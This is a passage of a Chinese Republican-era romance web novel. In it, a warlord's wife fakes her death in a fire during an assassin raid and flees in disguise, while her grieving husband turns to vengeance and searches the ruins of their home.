她举起手中的枪,指着自己的太阳穴。
“少夫人!!”赵铁柱和阿福惊呼。
“我沈晚清,以陆家少帅夫人的名义,以此命起誓!
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”
她的声音凄厉而决绝,穿透了每一个人的耳膜:
“陆淮锦没有死!三天!给我三天时间!若三天后前线没有捷报传来,我沈晚清就在这里,饮弹自尽,去地下陪他!”
全场死寂。
所有人都被这个女人的决烈给镇住了。
用命作保。
刘团长看着沈晚清那双毫无惧色的眼睛,原本动摇的心也颤了一下。
“好……既然少夫人敢拿命赌,那我们就再等三天!”
刘团长咬着牙,挥了挥手,“弟兄们,回营!这三天,谁要是敢当逃兵,老子第一个崩了他!”
人群慢慢散去。
这场兵变的危机,被沈晚清用命暂时压了下去。
但她知道,这只是饮鸩止渴。
如果通讯恢复不了,如果特务抓不到,三天后,等待她的就是真正的灭顶之灾。
……
深夜,帅府内院。
沈晚清疲惫地坐在沙发上,手里的枪始终没有放下。
“东家,查到了。”
阿福浑身是伤地从外面跑进来,显然是刚经历了一场恶战,“切断电话线和干扰无线电的源头找到了,就在城南的一座废弃钟楼里!但是……”
“但是什么?”
“但是那里防守极其严密,而且……而且帅府的后门刚才发现有内鬼接应的痕迹。”
阿福脸色惨白,“赵铁柱手底下的一个排长不见了,带着城防图跑了。”
沈晚清的心猛地一沉。
内鬼。
特务。
通讯中断。
兵变未遂。
这一切的一切,都在指向一个更可怕的阴谋。
“他们不是想乱军心。”
沈晚清猛地站起身,看向窗外漆黑的夜色,“他们是想趁着今晚人心最乱、防备最松的时候……动手。”
“他们要进攻帅府。”
“他们的目标,是我。”
几乎是她话音刚落的瞬间。
“轰——!!!”
一声巨大的**声在帅府大门口炸响。
紧接着,密集的**如同爆豆般从四面八方响起,火光瞬间映红了半边天。
“敌袭!!保护少夫人!!”
赵铁柱的嘶吼声被**声淹没。
毒蛇张的特务,勾结了陆家军内部的叛徒,撕开了帅府的防线。
这一夜,北城无眠。
这一夜,沈晚清将独自面对那群从地狱里爬出来的恶鬼。
第101章 帅府危机
火光冲天,浓烟滚滚。
曾经庄严肃穆的帅府,此刻变成了一座血肉磨坊。
“轰——!!”
又是一声剧烈的**,帅府那扇包着铁皮的厚重大门,在特务定向爆破的威力下轰然倒塌。
“冲进去!抓活的!”
一群身穿黑色夜行衣、脸上蒙着黑布的死士,手持**和**,如黑色的潮水般涌入。他们行动敏捷,配合默契,显然是经过严格训练的顶尖**——这是“毒蛇”张大帅麾下的王牌,“影子部队”。
“顶住!为了少夫人!死也不能退!”
赵铁柱浑身是血,提着一挺捷克式轻**,站在二道门的沙袋后疯狂扫射。他的警卫连弟兄们一个个倒下,鲜血染红了青石板,但剩下的人依然死战不退。
然而,正面的敌人不可怕,可怕的是背后的刀子。
“砰!砰!”
两声冷枪突然从侧后方响起。
赵铁柱身边的两名**手应声倒地。
赵铁柱猛地回头,目眦欲裂。
只见负责守卫侧门的二排长——那个平时老实巴交、跟他称兄道弟的王大头,此刻正举着还在冒烟的**,脸上带着狰狞而扭曲的笑,身后跟着十几名早已叛变的士兵,打开了侧门。
“王大头!你个畜生!你敢反水?!”赵铁柱嘶吼道。
“铁柱哥,对不住了!”
王大头啐了一口,“张大帅给了我五千大洋!跟着那个娘们儿有什么前途?陆淮锦都**!兄弟们,跟我冲!抓住沈晚清,赏金万两!”
侧门大开。
里应外合之下,帅府的外围防线瞬间崩溃。
……
内院,听涛苑。
喊杀声越来越近,**击碎玻璃的声音清晰可闻。
沈晚清站在正厅中央,手里紧紧握着那把勃朗宁。她已经换上了一身利落的黑色劲装,长发高高束起,眼神冷冽如冰。
在她身后,是那个放着“假孩子”的摇篮。
“东家!守不住了!”
阿福跌跌撞撞地跑进来,手臂上受了刀伤,鲜血直流,“赵铁柱他们在前院拼命,但内鬼把侧门打开了!那帮特务已经冲进二门了!全是练家子,咱们的暗卫挡不住啊!”
“别慌。”
沈晚清深吸一口气,从桌下拖出一个沉重的木箱,“阿福,把这箱子里的东西分给剩下的人。**,全部拉环挂在门口。”
“少夫人,您这是……”
“他们想要抓活的。”
沈晚清嘴角勾起一抹凄厉的冷笑,“想拿我当筹码去威胁陆淮锦?做梦。”
“砰!”
正厅的大门被人一脚踹开。
一个身材瘦削、戴着鬼脸面具的黑衣人首领,带着十几名特务冲了进来。他们并没有立刻开枪,而是呈扇形散开,将沈晚清团团围住。
那个叛徒王大头也跟在后面,一脸得意:“组长!就是她!那个摇篮里就是陆家的种!”
鬼脸首领上前一步,目光阴冷地打量着沈晚清。
“陆夫人,久仰大名。”
他的声音沙哑刺耳,“自我介绍一下,鄙人‘影子’。奉张大帅之命,请夫人和小少帅去山东做客。只要夫人配合,我不**。”
“做客?”
沈晚清举起枪,对准鬼脸首领的眉心,“是用我去逼少帅退兵吧?”
“陆少帅已经‘战死’了,夫人何必为一个**守节?”鬼脸首领还在试图攻心,“跟我们走,保你荣华富贵。”
“呸!”
沈晚清啐了一口,“陆淮锦死没死,你们比我更清楚!想拿我当人质,除非我死!”
“既然夫人不识抬举……”
鬼脸首领眼神一寒,手一挥,“上!只要活气儿的,断手断脚无所谓!”
“杀!”
几名特务挥舞着**扑了上来。
“打!”沈晚清大喝一声。
“轰!轰!”
埋伏在两侧屏风后的几名死忠暗卫同时拉响了**。
巨大的**声在狭小的厅堂内响起,气浪将冲在最前面的特务掀翻在地。沈晚清趁着烟雾,对着王大头就是一枪。
“砰!”
正中大腿。
“啊——!”王大头惨叫倒地。
“撤!往卧房撤!”
沈晚清一边开枪压制,一边拉着阿福退入了最后的防线——主卧房。
……
卧房内。
厚重的红木门被锁死,又推过来两个沉重的衣柜顶住。
但这只能阻挡片刻。
门外传来了疯狂的撞
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击声和电锯锯木头的声音。
“少夫人……没路了……”
阿福靠在墙上,喘着粗气,手里的枪已经没**了,“窗户外面也全是人……咱们被包饺子了。”
沈晚清环视着这间熟悉的卧房。
这里是她和陆淮锦的婚房,到处都是他们生活的痕迹。梳妆台上还放着他送给她的胭脂,衣架上还挂着他的军装。
现在,这里即将成为她的战场,或者是……坟墓。
“阿福。”
沈晚清走到床边,抱起那个并没有生命的“假孩子”襁褓,背对着阿福,声音异常平静。
“你怕死吗?”
“阿福这条命是东家给的,不怕!”阿福挺直了腰杆。
“好。”
沈晚清转过身,从床底下拖出了两个早已准备好的铁皮桶。
那里面装的,是满满的高纯度汽油。
早在把真孩子送走的那一天,她就做好了最坏的打算。如果是死局,她绝不会让自己落入敌手受辱,更不会让自己成为陆淮锦的软肋。
“把油泼在窗帘上,泼在床上,泼在门口。”
沈晚清拧开盖子,刺鼻的汽油味瞬间弥漫了整个房间。
“东家!您这是要……”阿福瞪大了眼睛。
“他们要抓活的,我就给他们一具焦尸。”
沈晚清将那几件陆淮锦的衣服抱在怀里,又把那个假孩子紧紧护住。
“陆淮锦在前线打仗,如果知道我被俘了,他会发疯,会乱了方寸,陆家军会输,北城会亡。”
她拿起桌上的打火机,“咔哒”一声点燃,微弱的火苗在她眼中跳动。
“只有我‘死’了,他才能心无旁骛地杀敌。”
“只有我‘死’了,这帮特务才会停止对团圆的追杀。”
“这就是——金蝉脱壳。”
轰!
门外的撞击声停止了。
鬼脸首领的声音传来:“陆夫人,门快开了。你还有最后一次机会。交出孩子,跟我们走!”
沈晚清看着那扇即将破碎的门,嘴角勾起一抹绝美的、凄艳的笑。
“告诉你们的主子。”
“想要抓我?下辈子吧。”
她松开手。
燃烧的打火机,缓缓落向那满地的汽油。
第102章 金蝉脱壳
“呼——!!”
那一点微弱的火苗触碰到满地的汽油,瞬间化作了一条咆哮的火龙。
并没有想象中漫长的燃烧过程,高纯度的汽油在密闭的空间内瞬间爆燃,巨大的气浪夹杂着火焰,向四周疯狂扩散。
“轰隆——!!!”
一声惊天动地的巨响,仿佛平地一声雷。
听涛苑主卧的门窗在一瞬间被炸飞,巨大的冲击波将正在门口试图破门的“影子”特务们像落叶一样掀飞了出去。
“啊——!!”
几个冲在最前面的特务浑身着火,惨叫着在地上打滚,但很快就被随之而来的坍塌掩埋。
“疯子!这个疯女人!”
鬼脸首领被气浪冲到了院子里,脸上的面具都被烤得变形了。他狼狈地爬起来,看着眼前瞬间变成火海的房屋,眼底满是不可置信的惊恐。
他执行过无数次任务,杀过无数硬汉,却从未见过如此刚烈的女人。
为了不被俘虏,为了不成为筹码,她竟然真的把自己连同孩子,一把火烧了个干干净净!
“组长!火太大了!根本进不去!”
手下灰头土脸地跑过来,“里面全是汽油味!看样子她是早有准备,把自己点了天灯了!”
鬼脸首领咬牙切齿地看着那熊熊烈火。
火势蔓延极快,房梁已经开始坍塌,噼里啪啦的爆裂声中,仿佛能听到厉鬼的哭嚎。
“完了……”
鬼脸首领一拳砸在地上,“人质没了!张大帅要的筹码没了!”
“组长,那……那咱们撤吧?城防营的援兵马上就要到了!”
“撤!”
鬼脸首领最后看了一眼那吞噬了一切的火焰,眼中闪过一丝忌惮。
“沈晚清……算你狠。”
……
与此同时,地底暗道。
就在**发生的前一秒。
沈晚清并没有像敌人以为的那样站在火海中等死。
她在那一瞬间,按动了床头柜内侧一个隐秘的机括。
“咔嚓。”
那张原本看似普通的红木大床,床板突然向两侧翻转,露出下面一个黑黝黝的洞口。
“跳!”
沈晚清抱着怀里的衣物和假襁褓,没有丝毫犹豫,拉着阿福直接跳了下去。
“轰——!”
就在两人身体落入洞口的瞬间,头顶上方传来了剧烈的**声。滚烫的热浪顺着洞口扑面而来,甚至燎焦了沈晚清的头发。
“关门!”
阿福在落地的瞬间,拼命拉动墙上的铁链。
头顶上方,两块厚重的钢板猛地合拢,严丝合缝地盖住了洞口。
紧接着,钢板上方传来了重物坍塌的声音。那是房梁砸下来了,正好压在钢板上,彻底封**入口,也隔绝了上面的大火。
“咳咳咳……”
黑暗狭窄的甬道里,充满了呛人的烟尘。
沈晚清瘫坐在冰冷的石阶上,剧烈地咳嗽着。她的脸上全是黑灰,手背被烫起了一串燎泡,心脏在胸腔里疯狂跳动,仿佛要撞破肋骨。
“东家……东家您没事吧?”
阿福颤巍巍地亮起手电筒,光束在黑暗中摇晃。
“我没事……”
沈晚清大口喘息着,从怀里掏出那张假装孩子的襁褓,里面塞的是棉絮和一袋血浆。
“我们……赌赢了。”
她抬起头,眼神在黑暗中亮得惊人。
这条暗道,是当年陆老帅建造帅府时,为了防备兵变特意留下的保命通道,只有历代大帅和正妻才知道。就连陆淮锦,也是在大婚之夜才告诉了她开启的方法。
没想到,今天真的成了她的救命稻草。
“快走。”
沈晚清强忍着身体的疼痛和疲惫,扶着墙壁站起来,“这里不能久留。大火虽然能瞒过一时,但等火灭了,他们找不到尸骨可能会起疑。我们必须在天亮前逃出北城。”
“是!”
……
北城,后街枯井旁。
一刻钟后。
距离帅府两条街外的一处荒废宅院里。
枯井底部的暗门被推开,沈晚清和阿福灰头土脸地爬了出来。
此时的北城夜空,已经被帅府方向的冲天火光映得通红。那是整个北城最耀眼的建筑,此刻却在烈火中化为灰烬。
沈晚清站在荒草丛中,远远地望着那个方向。
那是她的家。
那是她和陆淮锦
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大婚的地方,是他们生活了半年的地方,也是小念清出生后第一次回到的家。
现在,全没了。
“少夫人……”阿福看着她落寞的背影,眼眶红了,“咱们的家……”
“家没了,可以再建。”
沈晚清转过身,不再去看那场大火。她的声音冷硬如铁,仿佛在那场大火中,那个柔弱的富家太太已经死去了。
“只要人还在,只要陆淮锦还在,哪里都是家。”
她伸手扯掉身上烧焦的衣摆,摘下昂贵的耳环和戒指,扔进枯井里。
“从现在起,世上再无沈晚清。”
她从阿福背着的包袱里拿出一套粗布麻衣,那是早已准备好的贫民装束。
“阿福,换衣服。把脸抹黑。”
“我们现在是逃难的乞丐婆孙。”
“我们要活着走出北城,去霸县,去前线。”
“我要亲口告诉陆淮锦——他的老婆孩子,都没死!”
……
次日清晨,帅府废墟。
大火烧了整整一夜,直到黎明时分才渐渐熄灭。
帅府的听涛苑已经变成了一片焦黑的废墟。残垣断壁之间,还冒着缕缕青烟。
赵铁柱带着幸存的警卫连士兵,发了疯一样在废墟里挖掘。
“少夫人!!”“少夫人您在哪里啊!!”
终于,在一个角落里,他们挖出了两具已经被烧得面目全非、蜷缩在一起的“尸体”。
“少夫人……”
赵铁柱这个七尺高的汉子,捧着那截烧焦的衣角,跪在地上嚎啕大哭。
“我对不起少帅啊!!”
消息,像长了翅膀一样飞向四面八方。
【北城惊变!帅府被焚!陆少夫人沈晚清为守贞节,抱子**,壮烈殉国!】
这个消息,让城中的百姓痛哭流涕,让暗中的敌**冠相庆。
而那个真正的“亡魂”,此刻正混在一群出城逃难的流民队伍里,低着头,佝偻着背,推着一辆破旧的独轮车。
她那双沾满泥污的手,紧紧握着车把。
她的眼中没有泪水,只有复仇的火焰。
金蝉已脱壳。
接下来,就是潜龙在渊,逃亡之路。
第103章 逃亡之路
天刚蒙蒙亮,南城门却已被拥挤的人潮堵得水泄不通。
帅府昨夜的那场大火,加上前线“战败”的谣言,彻底击垮了北城百姓的心理防线。无数人拖家带口,只想逃离这座即将被战火吞噬的城市。
城门口,几十名荷枪实弹的士兵设立了关卡,正在严密盘查。
而在这些士兵身后,还站着几个身穿黑衣、眼神阴鸷的男人——那是“毒蛇”张大帅派来的特务。虽然他们相信沈晚清已经烧**,但为了万无一失,依然在搜捕任何可疑的年轻女性。
“站住!干什么的?”“把帽子摘下来!抬起头!”
士兵粗暴地推搡着难民,哭喊声响成一片。
在混乱的人群尾部,一辆散发着恶臭的独轮板车正在缓慢挪动。
推车的是个满脸锅灰、背有些驼的中年汉子。而车上,躺着一个蜷缩在破烂棉絮里的“老太婆”。
她头发花白凌乱,脸上布满了恐怖的红斑和脓疮,浑身散发着一股令人作呕的酸臭味,时不时还发出剧烈的、撕心裂肺的咳嗽声。
“咳咳咳……水……给我水……”
那声音嘶哑难听,像是破风箱在拉扯。
没人能认出,这个看着让人退避三舍的“病老太”,就是那位风华绝代、令无数人仰望的沈晚清。
为了这一刻,她用特殊的草药汁液涂满全身,制造出类似传染病的假象;为了改变声音,她甚至生吞了一把生石灰粉,烧坏了自己的嗓子。
“娘,您忍忍,出了城就有水了。”
阿福一边推车,一边抹着眼泪。
“下一个!过来!”
终于轮到他们了。
守城的士兵捂着鼻子,一脸嫌弃地看着这辆破车:“车上是什么人?”
“回军爷话,这是俺娘。”
阿福卑微地弯着腰,塞过去几块皱巴巴的法币,“俺娘染了恶疾,快不行了,俺想带她回乡下老家,落叶归根……”
“恶疾?”
士兵眉头一皱,警惕地退后半步,“什么病?”
“咳咳咳……”
车上的“老太婆”突然剧烈挣扎起来,一只枯瘦如柴、布满红斑的手猛地伸向士兵的裤腿,嘴里喷出一口黄水:
“军爷……行行好……救救我……我不想死啊……”
“**!别碰老子!”
士兵吓得魂飞魄散,狠狠一脚踹在板车上,“这是时疫!是瘟病!快滚!别传染给老子!”
旁边的几个黑衣特务原本想上前查看,一听是“瘟病”,又看到那满脸流脓的恐怖模样,纷纷厌恶地挥手。
“赶紧放行!别死在城门口晦气!”
“谢谢军爷!谢谢军爷!”
阿福连连磕头,推起板车,飞也似地冲出了城门。
……
城外十里,野树林。
直到彻底看不见城墙的影子,阿福才瘫软在地上,大口喘着粗气。
“东家……出来了……咱们出来了!”
车上的沈晚清缓缓坐起身。
她用颤抖的手擦掉嘴角的污秽,因为嗓子受损,每说一个字都像刀割一样疼。
“别停……继续走。”
她的目光投向南方,那里是霸县的方向,是陆淮锦所在的地方。
“可是您的身体……”
“我没事。”
沈晚清强撑着站起来。她回头看了一眼身后那座巍峨的北
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城。
一夜之间,家破人亡,流离失所。
但她没有哭。
在那场大火里,她已经流干了这辈子所有的眼泪。现在的她,心中只有一团火,一团支撑她走到陆淮锦面前的火。
“阿福,把车扔了。”
沈晚清捡起一根树枝当拐杖,眼神坚毅,“走小路,避开大路上的溃兵和土匪。我们要在三天内赶到霸县。”
“三天?”阿福大惊,“东家,这可是三百里路啊!而且全是山路!”
“必须三天。”
沈晚清咬着牙,一步步向前挪动。
“因为特务的消息比我们快。”
“如果我不能在他彻底绝望之前赶到……”
她不敢想下去。
陆淮锦的性格她最了解。如果确信她和孩子都**,那个男人会疯,会成魔,会拉着整个世界陪葬。
她必须去救赎他。
……
与此同时,通往霸县的官道上。
一匹快马绝尘而去,马背上的特务背着加急密信,脸上带着狰狞的笑意。
那是“毒蛇”张大帅给陆淮锦准备的“大礼”。
信里没有劝降,只有一张照片——那是帅府废墟中,两具烧焦尸体的特写。
“驾!”
快马加鞭。
噩耗,正在以比沈晚清快十倍的速度,冲向那个正在前线苦苦支撑的男人。
一场关于生死的赛跑,在这荒野之上拉开了序幕。
沈晚清在泥泞中跋涉,每一步都踩在刀尖上。
“陆淮锦,等着我。”
“求你,别信。”
“求你,别疯。”
风沙漫天,掩盖了那一串踉跄却坚定的脚印。
第104章 噩耗传来
硝烟尚未散尽,但空气中已经弥漫着胜利的狂喜。
“报——!!”
“捷报!特务营夜袭成功!信安镇粮仓被毁,吴大帅的重炮旅没了**,已经成了哑巴!”“报!正面战场第一师突破敌军防线,俘虏敌军旅长两名!”
指挥部里,电报声、欢呼声此起彼伏。
陆淮锦站在沙盘前,紧绷了数日的脸庞终于舒展开来。他随手解开领口的扣子,接过宋副官递来的热茶,一口饮尽。
“痛快!”
他将茶杯重重放在桌上,眼底闪烁着意气风发的锋芒,“传令下去,全军压上!不给吴大帅喘息的机会,天黑之前,我要把红旗插上他的指挥所!”
“是!”众将领齐声高呼,士气如虹。
“少帅,”宋副官笑着凑过来,“这一仗打得漂亮!等回了北城,少夫人指不定怎么夸您呢。咱们离家也有半个月了,小少帅恐怕都会叫‘爹爹’了吧?”
听到“少夫人”三个字,陆淮锦冷硬的眼角瞬间柔和下来。
他下意识地摸了摸胸口的平安扣,嘴角勾起一抹温柔的弧度。
“是啊,该回家了。”
他从口袋里掏出一张折叠得整整齐齐的信纸,那是出征前沈晚清写给他的家书。
“晚晚说,等我打赢了,就带我去西山看红叶。”陆淮锦低声自语,“还要给团圆办周岁宴……这次回去,我要好好陪陪她们娘俩。”
然而,就在这满堂欢庆、憧憬未来的时刻。
帐帘突然被猛地掀开。
进来的不是报捷的传令兵,而是負責外围警戒的警卫连长,还要两个押着一名黑衣人的士兵。
“少帅!抓到一个奸细!他说是从北城来的,非要见您,说是有……有少夫人的信物。”
“北城?”
陆淮锦眉头微皱,心中那种不祥的预感再次升起,“带过来。”
那名黑衣人虽然被反绑着双手,脸上却带着一种诡异而残忍的笑容。他并不像普通的俘虏那样恐惧,反而死死盯着陆淮锦,像是在看一个即将崩溃的可怜虫。
“陆少帅,别来无恙啊。”
黑衣人阴恻恻地开口,“在这个大喜的日子里,我家主人‘毒蛇’张大帅,特意让我送来一份贺礼。”
“少跟他废话!什么贺礼?”宋副官喝道。
“就在我怀里。陆少帅,您最好亲自看。”
陆淮锦眯起眼睛,心中的不安如同野草般疯长。他大步走上前,一把撕开黑衣人的衣襟,从中掉落出一个包裹得严严实实的油布包。
他弯腰捡起。
油布包很轻,但陆淮锦拿在手里,却觉得重如千斤。
他的手指微微颤抖,一层层剥开油布。
当最后一层布料被揭开时。
“咣当!”
陆淮锦手中的东西掉落在地。
那是一截被烧得焦黑、却依然能辨认出原本花纹的布料——那是沈晚清最爱的那件月白色旗袍的衣角,上面还残留着并未烧尽的血迹。
而在布料旁边,还有一枚被火熏黑的钻戒。
那是他们大婚时,他亲手戴在她无名指上的婚戒。
在那一瞬间,指挥部里死一般的寂静。
所有人都认出了那枚戒指。
宋副官的脸色瞬间惨白,嘴唇哆嗦着:“这……这是……”
“这就是‘贺礼’。”
黑衣人放肆地大笑起来,“陆少帅,您在前线打胜仗,可惜后院起火了!昨夜,北城帅府大火,烧了整整一夜!您的夫人沈晚清,为了不被我们活捉,抱着您的小少帅,在卧房里——自!焚!了!”
“听说烧得那叫一个惨啊,两具尸体都抱在一起,分都分不开,全都变成了焦炭!哈哈哈哈……”
“闭嘴!!!”
宋副官
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拔出枪,一**狠狠砸在黑衣人嘴上,打得他满嘴是血。
但陆淮锦没有动。
他像是被抽走了灵魂的雕塑,僵硬地站在那里。他的目光死死盯着地上的那枚黑戒指和那截焦黑的衣角。
周围的声音仿佛都消失了。
只剩下那个黑衣人恶毒的话语在脑海中无限回荡:
**了……变成了焦炭……尸骨无存……
“不……不可能……”
陆淮锦颤抖着跪在地上,伸出手,小心翼翼地拿着那枚戒指。
冰冷的金属触感,刺痛了他的指尖,也刺穿了他的心脏。
如果是假的,这戒指怎么解释?这衣角怎么解释?
还有那几天莫名中断的电报……
原来,那就是永别吗?
“晚晚……”
陆淮锦张了张嘴,想要喊她的名字,却发不出声音。
一股腥甜的气息猛地从喉咙深处涌上来。
巨大的悲痛,如同千万把钢刀,在一瞬间将他的五脏六腑绞得粉碎。
“噗——!!!”
一口鲜血,毫无预兆地从陆淮锦口中喷出,溅洒在地上的作战地图上,染红了那代表胜利的红旗。
“少帅!!”“大帅!!”
众将领大惊失色,蜂拥而上扶住摇摇欲坠的陆淮锦。
“滚开!”
陆淮锦一把推开众人,双目赤红,宛如从地狱爬出来的恶鬼。
他紧紧攥着那枚戒指,指甲深深嵌入掌心,鲜血顺着指缝流下。
他赢了战争。
却输了全世界。
“啊————!!!”
一声撕心裂肺的咆哮,穿透了指挥部的大帐,回荡在霸县的荒野之上。那声音里没有了人的情感,只有无尽的绝望与滔天的恨意。
那个意气风发的陆少帅,在这一刻,**。
取而代之的,是一个为了复仇而生的疯子。
第105章 少帅发狂
“啊——!!!”
那一声撕心裂肺的咆哮过后,指挥部内充满了令人窒息的血腥味。
陆淮锦双目赤红,嘴角挂着未干的血迹。他像一只被激怒的野兽,一把揪住那个还在狂笑的特务的衣领。
“烧**?你说她烧**?”
他的声音低沉得可怕,每一个字都像是从胸腔里挤出来的,“那我就把你身上的肉,一片一片割下来,看看能不能烧出油来!”
“唰!”
指挥刀出鞘。
没有任何审判,甚至没有给特务再次开口的机会。陆淮锦手起刀落,寒光在帐篷内疯狂闪烁。
一刀,两刀,十刀……
鲜血溅满了他的脸,染红了他那身代表着荣耀的特级上将戎装。特务的惨叫声从高亢变得微弱,最后彻底消失,只剩下一滩烂肉。
众将领吓得面如土色,连大气都不敢喘。他们跟随少帅多年,从未见过他如此失控、如此暴虐的一面。
“少帅……”
宋副官壮着胆子上前一步,想要递上一块手帕,“您……您冷静点……”
“冷静?”
陆淮锦转过头,那双眼睛里已经没有了瞳孔的焦距,只有无尽的杀意和空洞。他随手扔掉那把卷了刃的指挥刀,沾满鲜血的手颤抖着伸向胸口,隔着衣服死死按住那枚平安扣。
那里,痛得快要裂开了。
“传令。”
他声音嘶哑,如同砂纸打磨,“全军停止追击。”
“停止追击?”参谋长惊呼,“少帅!吴大帅的主力已经被打散了,现在是乘胜追击、一统北地的绝佳机会啊!只要再往前推五十里,就能拿下直隶全境!”
“我说,停止追击!”
陆淮锦猛地拔出腰间的勃朗宁,黑洞洞的枪口直接顶在了参谋长的脑门上。
“你是聋了吗?”
“这天下,老子不要了!”
他推开参谋长,大步走向帐外,对着外面列队的千军万马,发出了那道震惊天下的命令:
“第一师、第二师、特务营,即刻掉头!”
“目标——北城!”
“凡是挡在路上的,不管是直系的溃兵,还是张宗昌的特务,哪怕是天王老子……”
“杀无赦!”
……
北归之路,三百里加急。
这是一场令后世史学家都感到胆寒的行军。
原本纪律严明的陆家军,在这一刻变成了一支彻头彻尾的“复仇军”。
陆淮锦没有坐汽车,而是骑上了一匹最快的战马。他一马当先冲在最前面,不管不顾地疯狂抽打着马鞭。
他的身体早已透支,刚才那一口心头血吐出来,更是伤了元气。但他仿佛感觉不到疲惫,感觉不到疼痛。
他的脑海里只有一个画面——
火。
漫天的大火。
那是晚晚最怕疼的人,她怎么敢在火里……
“咳咳咳……”
剧烈的咳嗽声在风中破碎,鲜血顺着他的嘴角流到下巴,滴落在马鬃上。
“少帅!您歇歇吧!这样下去身子会垮的!”宋副官在后面哭喊着追赶。
“滚!都别管我!”
陆淮锦赤红着眼,再次扬鞭。
沿途,有几股不知死活的直系残兵试图阻拦。
“冲过去!碾碎他们!”
陆淮锦根本没有停下指挥战斗,而是直接带着骑兵连冲锋。铁蹄践踏,刀光剑影。他就像个没有感情的杀戮机器,所过之处,人头滚滚,血流成河。
三百里路。
他硬生生只用了一天一夜。
……
北城,南门。
民国十一年,五月十日,黄昏。
残阳如血,笼罩着这座刚刚经历过浩劫的城市。
守城的士兵远远地看到那支卷着漫天黄沙、带着冲天煞气归来的军队,吓得腿都软了。
“少帅……是少帅回来了!”
城门大开。
陆淮锦策马冲入城门。
街道两旁,百姓们跪在地上,不敢抬头。空气中依旧弥漫着那种烧焦的味道,越往帅府方向走,味道越浓。
陆
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淮锦的心脏,随着那股焦糊味,一点点缩紧,直到停止跳动。
终于。
他看到了。
那个曾经巍峨壮丽、承载着他所有柔情蜜意的帅府,那个他和沈晚清的家。
此刻,只剩下一片漆黑的断壁残垣。
听涛苑的位置,更是烧得只剩下几根焦黑的柱子,孤零零地立在废墟中,像是在无声地哭诉。
“吁——”
陆淮锦猛地勒住缰绳,战马发出悲嘶。
他翻身下马,却因为双腿发软,直接重重地摔在了地上。
“少帅!”
亲卫们想要上前搀扶。
“别碰我!”
陆淮锦推开所有人,手脚并用地从地上爬起来,跌跌撞撞地走向那片废墟。
每走一步,他的心就碎一分。
这里是卧房……这里是摇篮……这里是她每晚等他的灯下……
没了。
全没了。
“晚晚……团圆……”
陆淮锦站在那堆还在冒着余温的瓦砾前,声音轻得像个迷路的孩子,“我回来了……你出来啊……”
“别跟我**了……我知道你在生气我回来晚了……”
“我给你带了西山的红叶……你出来看看啊……”
无人回应。
只有风吹过废墟,卷起黑色的灰烬,扑了他满脸。
“啊啊啊啊啊——!!!”
终于,最后一丝侥幸彻底破灭。
陆淮锦噗通一声跪在满地的碎瓦砾中,双手狠狠地抓进那些尖锐的废墟里,任由锋利的碎片割破掌心。
他仰天长啸,哭声悲恸,如杜鹃啼血,闻者落泪。
那个不可一世的陆少帅,就在这数万大军面前,就在这全城百姓面前,哭得像个失去了一切的疯子。
“挖!!!”
良久,他抬起满是血污和黑灰的脸,眼神中透着一种令人心悸的偏执。
“给我挖!”
“就算把这帅府掘地三尺!就算是到了黄泉碧落!”
“我也要见人!死也要见尸!!”
第106章 掘地三尺
天空泛起了鱼肚白,但废墟上的硝烟仍未散尽。
这里曾经是北城最精致的院落,如今只剩下一片焦黑的瓦砾场。
“挖……继续挖……”
陆淮锦跪在灰烬中,声音已经嘶哑得听不出原本的音色。
他那一身象征荣耀的特级上将戎装,早已变得破烂不堪,沾满了泥土和黑灰。那双曾经握枪拿刀、指点江山的手,此刻血肉模糊,指甲翻起,鲜血混合着黑灰,结成了恐怖的血痂。
“少帅!让弟兄们来吧!您的手……”
宋副官跪在一旁,哭着想要拉住他,“您已经挖了一天一夜了!铁打的身子也受不了啊!”
“滚开!”
陆淮锦一把甩开宋副官,力气大得惊人,眼中透着令人心悸的偏执。
“谁也不许碰这里!”
“晚晚爱干净……以前她连衣服上有个褶皱都要生气……如果被别人碰了,她会不高兴的……”
他喃喃自语,像是在跟空气对话,又像是在自我催眠。
他又低下头,用那双残破的手,一点一点地扒开焦黑的砖石。
“晚晚,别躲了……”
“我回来了……我真的回来了……”
周围的一圈警卫员和将领,看着那个平日里不可一世的少帅此刻像个疯子一样在垃圾堆里翻找,一个个虎目含泪,纷纷别过头去,不忍再看。
突然。
陆淮锦的手指触碰到了一个硬物。
那是卧房床榻原本所在的位置,也就是火势最猛烈的地方。
他的动作猛地僵住了。
心跳在这一瞬间仿佛停止。
他颤抖着手,小心翼翼地拂去上面的厚厚积灰。
在黑色的灰烬中,一点微弱的、惨白的光芒露了出来。
那不是骨头。
那是一枚玉扳指。
那是顶级的羊脂白玉,曾是他十八岁生辰时父亲送的成人礼,后来在大婚之夜,他亲手给沈晚清戴上,当作陆家女主人的信物。她嫌戴在大拇指上太大,便找了根红绳,一直挂在脖子上,贴身戴着。
此刻。
这枚原本温润无瑕的玉扳指,已经被烈火烧得漆黑,表面布满了触目惊心的裂纹,那一抹原本的温润,变成了死寂的焦色。
就连玉都烧成了这样……
那人呢?
那个血肉之躯的人呢?
“呃……”
陆淮锦喉咙里发出一声破碎的呜咽。
他颤抖着捡起那枚尚有余温的扳指,死死地攥在手心里,像是要把它揉进自己的骨血里。
没有尸体。
没有遗言。
只有这枚烧毁的扳指,证明她曾经存在过,证明她真的在那场炼狱般的大火里,被烧得干干净净,尸骨无存。
“晚晚……”
陆淮锦将扳指抵在额头上,整个人蜷缩在废墟里,身体剧烈地颤抖着。
“对不起……对不起……”
“是我回来晚了……”
“是我没护好你……”
泪水早已流干,只剩下干涩的血泪,顺着眼角滑落,滴在那枚黑色的扳指上。
周围死一般的寂静。
所有人都知道,那个曾经有软
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肋、有温情、会笑会怒的陆少帅,随着这枚扳指的出现,彻底**。
良久。
太阳升起,第一缕阳光照在废墟上,却照不进陆淮锦眼底的黑暗。
他缓缓站起身。
他的背脊挺得笔直,就像一把刚刚淬火出炉的利剑,冰冷,锋利,不再有一丝温度。
他将那枚烧黑的扳指小心翼翼地放进胸口的口袋,贴着心脏的位置。
然后,他转过身,看向身后那一万名早已列队待命、满腔悲愤的陆家军将士。
他的脸上,已经没有了悲伤,没有了疯狂。
只有一种令人胆寒的平静。
那种平静,就像是暴风雨前的海面,下面翻涌着足以吞噬世界的海啸。
“宋虎。”
陆淮锦开口了,声音冷漠得如同地狱修罗。
“到!”宋副官立刻立正,感受到一股前所未有的杀意扑面而来。
“传令全军。”
陆淮锦拔出腰间那把从未离身的勃朗宁,上膛,“咔哒”一声脆响,在死寂的废墟上格外清晰。
“以此废墟为界,今日起,陆家军不接受投降,不接受和谈。”
他的目光投向南方,那是张大帅和直系残余势力的方向。
